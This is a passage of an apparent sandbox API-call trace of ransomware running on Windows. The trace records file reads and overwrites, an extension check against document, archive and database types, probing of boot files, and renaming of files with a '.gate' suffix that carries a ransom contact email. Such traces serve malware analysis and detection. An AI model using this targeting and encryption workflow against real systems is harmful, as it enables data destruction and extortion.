[0116.766] ReadFile (in: hFile=0x370, lpBuffer=0x3a4f058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2eafc30, lpOverlapped=0x0 | out: lpBuffer=0x3a4f058*, lpNumberOfBytesRead=0x2eafc30*=0x40000, lpOverlapped=0x0) returned 1 [0117.236] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0117.236] WriteFile (in: hFile=0x370, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2eafca8, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafca8*=0xc012e, lpOverlapped=0x0) returned 1 [0117.252] SetEndOfFile (hFile=0x370) returned 1 [0117.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x43514f0 [0117.257] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0117.257] WriteFile (in: hFile=0x370, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.258] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0117.259] WriteFile (in: hFile=0x370, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.261] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2eafc74 | out: lpNewFilePointer=0x0) returned 1 [0117.261] WriteFile (in: hFile=0x370, lpBuffer=0x43514f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2eafc80, lpOverlapped=0x0 | out: lpBuffer=0x43514f0*, lpNumberOfBytesWritten=0x2eafc80*=0x40000, lpOverlapped=0x0) returned 1 [0117.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0117.612] CloseHandle (hObject=0x370) returned 1 [0119.788] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0119.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.788] lstrlenW (lpString=".doc") returned 4 [0119.788] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0119.788] lstrlenW (lpString=".docx") returned 5 [0119.788] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0119.788] lstrlenW (lpString=".pdf") returned 4 [0119.788] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0119.788] lstrlenW (lpString=".xls") returned 4 [0119.788] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0119.788] lstrlenW (lpString=".xlsx") returned 5 [0119.788] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0119.788] lstrlenW (lpString=".ppt") returned 4 [0119.788] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0119.788] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.788] lstrlenW (lpString=".zip") returned 4 [0119.789] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0119.789] lstrlenW (lpString=".rar") returned 4 [0119.789] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0119.789] lstrlenW (lpString=".bz2") returned 4 [0119.789] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0119.789] lstrlenW (lpString=".7z") returned 3 [0119.789] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0119.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.789] lstrlenW (lpString=".dbf") returned 4 [0119.789] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0119.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.789] lstrlenW (lpString=".1cd") returned 4 [0119.789] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0119.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.789] lstrlenW (lpString=".jpg") returned 4 [0119.789] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0119.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.789] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.789] lstrlenW (lpString=".doc") returned 4 [0119.789] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0119.789] lstrlenW (lpString=".docx") returned 5 [0119.789] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0119.789] lstrlenW (lpString=".pdf") returned 4 [0119.789] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0119.789] lstrlenW (lpString=".xls") returned 4 [0119.789] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0119.789] lstrlenW (lpString=".xlsx") returned 5 [0119.789] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0119.789] lstrlenW (lpString=".ppt") returned 4 [0119.790] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0119.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.790] lstrlenW (lpString=".zip") returned 4 [0119.790] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0119.790] lstrlenW (lpString=".rar") returned 4 [0119.790] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0119.790] lstrlenW (lpString=".bz2") returned 4 [0119.790] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0119.790] lstrlenW (lpString=".7z") returned 3 [0119.790] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0119.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.790] lstrlenW (lpString=".dbf") returned 4 [0119.790] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0119.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.790] lstrlenW (lpString=".1cd") returned 4 [0119.790] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0119.790] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0119.790] lstrlenW (lpString=".jpg") returned 4 [0119.790] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0119.790] lstrlenW (lpString="BCD") returned 3 [0119.790] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0119.791] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.791] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.791] lstrlenW (lpString=".doc") returned 4 [0119.791] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".docx") returned 5 [0119.791] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0119.791] lstrlenW (lpString=".pdf") returned 4 [0119.791] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".xls") returned 4 [0119.791] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".xlsx") returned 5 [0119.791] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0119.791] lstrlenW (lpString=".ppt") returned 4 [0119.791] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.791] lstrlenW (lpString=".zip") returned 4 [0119.791] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".rar") returned 4 [0119.791] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".bz2") returned 4 [0119.791] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString=".7z") returned 3 [0119.791] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0119.791] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.791] lstrlenW (lpString=".dbf") returned 4 [0119.791] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0119.791] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.792] lstrlenW (lpString=".1cd") returned 4 [0119.792] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.792] lstrlenW (lpString=".jpg") returned 4 [0119.792] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.792] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.792] lstrlenW (lpString=".doc") returned 4 [0119.792] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".docx") returned 5 [0119.792] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0119.792] lstrlenW (lpString=".pdf") returned 4 [0119.792] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".xls") returned 4 [0119.792] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".xlsx") returned 5 [0119.792] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0119.792] lstrlenW (lpString=".ppt") returned 4 [0119.792] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.792] lstrlenW (lpString=".zip") returned 4 [0119.792] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".rar") returned 4 [0119.792] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".bz2") returned 4 [0119.792] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0119.792] lstrlenW (lpString=".7z") returned 3 [0119.793] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0119.793] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.793] lstrlenW (lpString=".dbf") returned 4 [0119.793] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0119.793] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.793] lstrlenW (lpString=".1cd") returned 4 [0119.793] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0119.793] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0119.793] lstrlenW (lpString=".jpg") returned 4 [0119.793] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0119.793] lstrcmpiW (lpString1=".LOG1", lpString2=".gate") returned 1 [0119.793] lstrlenW (lpString="BCD.LOG1") returned 8 [0119.793] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.793] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=0) returned 1 [0119.794] CloseHandle (hObject=0x370) returned 1 [0119.794] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.794] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.794] lstrlenW (lpString=".doc") returned 4 [0119.794] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".docx") returned 5 [0119.794] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0119.794] lstrlenW (lpString=".pdf") returned 4 [0119.794] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".xls") returned 4 [0119.794] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".xlsx") returned 5 [0119.794] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0119.794] lstrlenW (lpString=".ppt") returned 4 [0119.794] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.794] lstrlenW (lpString=".zip") returned 4 [0119.794] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".rar") returned 4 [0119.794] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".bz2") returned 4 [0119.794] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0119.794] lstrlenW (lpString=".7z") returned 3 [0119.794] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString=".dbf") returned 4 [0119.795] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString=".1cd") returned 4 [0119.795] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString=".jpg") returned 4 [0119.795] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString=".doc") returned 4 [0119.795] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString=".docx") returned 5 [0119.795] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0119.795] lstrlenW (lpString=".pdf") returned 4 [0119.795] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString=".xls") returned 4 [0119.795] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString=".xlsx") returned 5 [0119.795] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0119.795] lstrlenW (lpString=".ppt") returned 4 [0119.795] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.795] lstrlenW (lpString=".zip") returned 4 [0119.795] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0119.795] lstrlenW (lpString=".rar") returned 4 [0119.796] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0119.796] lstrlenW (lpString=".bz2") returned 4 [0119.796] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0119.796] lstrlenW (lpString=".7z") returned 3 [0119.796] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0119.796] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.796] lstrlenW (lpString=".dbf") returned 4 [0119.796] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0119.796] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.796] lstrlenW (lpString=".1cd") returned 4 [0119.796] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0119.796] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0119.796] lstrlenW (lpString=".jpg") returned 4 [0119.796] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0119.796] lstrcmpiW (lpString1=".LOG2", lpString2=".gate") returned 1 [0119.796] lstrlenW (lpString="BCD.LOG2") returned 8 [0119.796] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.797] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=0) returned 1 [0119.797] CloseHandle (hObject=0x370) returned 1 [0119.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.797] lstrlenW (lpString=".doc") returned 4 [0119.797] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".docx") returned 5 [0119.797] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0119.797] lstrlenW (lpString=".pdf") returned 4 [0119.797] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".xls") returned 4 [0119.797] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".xlsx") returned 5 [0119.797] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0119.797] lstrlenW (lpString=".ppt") returned 4 [0119.797] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.797] lstrlenW (lpString=".zip") returned 4 [0119.797] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".rar") returned 4 [0119.797] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".bz2") returned 4 [0119.797] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0119.797] lstrlenW (lpString=".7z") returned 3 [0119.798] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString=".dbf") returned 4 [0119.798] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString=".1cd") returned 4 [0119.798] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString=".jpg") returned 4 [0119.798] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString=".doc") returned 4 [0119.798] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString=".docx") returned 5 [0119.798] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0119.798] lstrlenW (lpString=".pdf") returned 4 [0119.798] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString=".xls") returned 4 [0119.798] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString=".xlsx") returned 5 [0119.798] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0119.798] lstrlenW (lpString=".ppt") returned 4 [0119.798] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0119.798] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.798] lstrlenW (lpString=".zip") returned 4 [0119.798] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0119.799] lstrlenW (lpString=".rar") returned 4 [0119.799] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0119.799] lstrlenW (lpString=".bz2") returned 4 [0119.799] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0119.799] lstrlenW (lpString=".7z") returned 3 [0119.799] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0119.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.799] lstrlenW (lpString=".dbf") returned 4 [0119.799] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0119.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.799] lstrlenW (lpString=".1cd") returned 4 [0119.799] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0119.799] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0119.799] lstrlenW (lpString=".jpg") returned 4 [0119.799] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0119.799] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0119.799] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0119.799] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0119.800] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=77664) returned 1 [0119.800] CloseHandle (hObject=0x370) returned 1 [0119.800] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0119.800] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0119.800] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0119.800] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.800] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.800] lstrlenW (lpString=".doc") returned 4 [0119.800] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0119.800] lstrlenW (lpString=".docx") returned 5 [0119.800] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0119.800] lstrlenW (lpString=".pdf") returned 4 [0119.800] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0119.800] lstrlenW (lpString=".xls") returned 4 [0119.800] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0119.800] lstrlenW (lpString=".xlsx") returned 5 [0119.800] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0119.800] lstrlenW (lpString=".ppt") returned 4 [0119.800] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString=".zip") returned 4 [0119.801] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0119.801] lstrlenW (lpString=".rar") returned 4 [0119.801] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0119.801] lstrlenW (lpString=".bz2") returned 4 [0119.801] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0119.801] lstrlenW (lpString=".7z") returned 3 [0119.801] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString=".dbf") returned 4 [0119.801] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString=".1cd") returned 4 [0119.801] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString=".jpg") returned 4 [0119.801] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.801] lstrlenW (lpString=".doc") returned 4 [0119.801] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0119.801] lstrlenW (lpString=".docx") returned 5 [0119.801] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0119.801] lstrlenW (lpString=".pdf") returned 4 [0119.801] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0119.801] lstrlenW (lpString=".xls") returned 4 [0119.802] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0119.802] lstrlenW (lpString=".xlsx") returned 5 [0119.802] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0119.802] lstrlenW (lpString=".ppt") returned 4 [0119.802] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0119.802] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.802] lstrlenW (lpString=".zip") returned 4 [0119.802] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0119.802] lstrlenW (lpString=".rar") returned 4 [0119.802] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0119.802] lstrlenW (lpString=".bz2") returned 4 [0119.802] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0119.802] lstrlenW (lpString=".7z") returned 3 [0119.802] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0119.802] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.802] lstrlenW (lpString=".dbf") returned 4 [0119.802] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0119.802] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.802] lstrlenW (lpString=".1cd") returned 4 [0119.802] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0119.802] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0119.802] lstrlenW (lpString=".jpg") returned 4 [0119.802] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0119.803] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0119.803] lstrlenW (lpString="bootspaces.dll") returned 14 [0119.803] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0121.211] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=95648) returned 1 [0121.211] CloseHandle (hObject=0x308) returned 1 [0121.211] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0121.211] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0121.211] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.211] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.211] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0121.211] 